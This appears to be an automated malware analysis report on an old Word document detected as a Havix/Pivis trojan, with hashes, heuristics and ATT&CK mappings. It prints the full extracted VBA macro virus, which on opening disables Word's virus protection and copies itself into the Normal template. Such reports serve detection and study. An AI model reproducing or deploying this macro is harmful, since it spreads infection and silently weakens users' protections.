Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ae90178c84a9a4d5…

MALICIOUS

Office (OLE)

30.5 KB Created: 1998-03-13 22:51:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 83e745e6cb709df59b6a38a9add3cdbd SHA-1: bdbe46fce2521a254d1b41560b292847a3215d0c SHA-256: ae90178c84a9a4d5c3aaae3016c9b473cab193abc2bbf7e595dee7e324da3467
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with multiple signatures indicating it is a trojan. The presence of a legacy WordBasic AutoOpen macro, specifically the 'AutoOpen' subroutine calling the 'HaVix' subroutine, strongly suggests an attempt to execute a secondary payload upon opening the document. The 'HaVix' macro appears to be designed to copy itself and potentially save the document, which is a common technique for malware persistence or payload delivery.

Heuristics 4

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1491 bytes
SHA-256: 130b4c12b01a0595ad3082695a24d97b795c48c3ce6cc85941e413bf54568147
Detection
ClamAV: Doc.Trojan.Havix-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "HaVix"
    
Sub HaVix()
Attribute HaVix.VB_Description = "Macro created 02/05/98 by Home"
Attribute HaVix.VB_ProcData.VB_Invoke_Func = "Project.HaVix.HaVix"
    
    
    
    
On Error Resume Next
With Options
    .ConfirmConversions = False
    .VirusProtection = False
    .SaveNormalPrompt = False
End With
ActiveDocument.ReadOnlyRecommended = False
leprican = 0
Set leprison = MacroContainer
If leprison = NormalTemplate Then leprican = 1
If leprican = 1 Then leprishaft = NormalTemplate.FullName Else leprishaft = ActiveDocument.FullName
If leprican = 1 Then leprigome = ActiveDocument.FullName Else leprigome = NormalTemplate.FullName
Application.OrganizerCopy Source:=leprishaft, Destination:=leprigome, Name:="HaVix", Object:=wdOrganizerObjectProjectItems
If leprican = 1 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If leprican = 0 Then
     If NormalTemplate.Saved = False Then NormalTemplate.Save
     End If
gone:
End Sub
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Macro created 02/05/98 by HaVix"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.HaVix.AutoOpen"
    On Error Resume Next
    Call HaVix
End Sub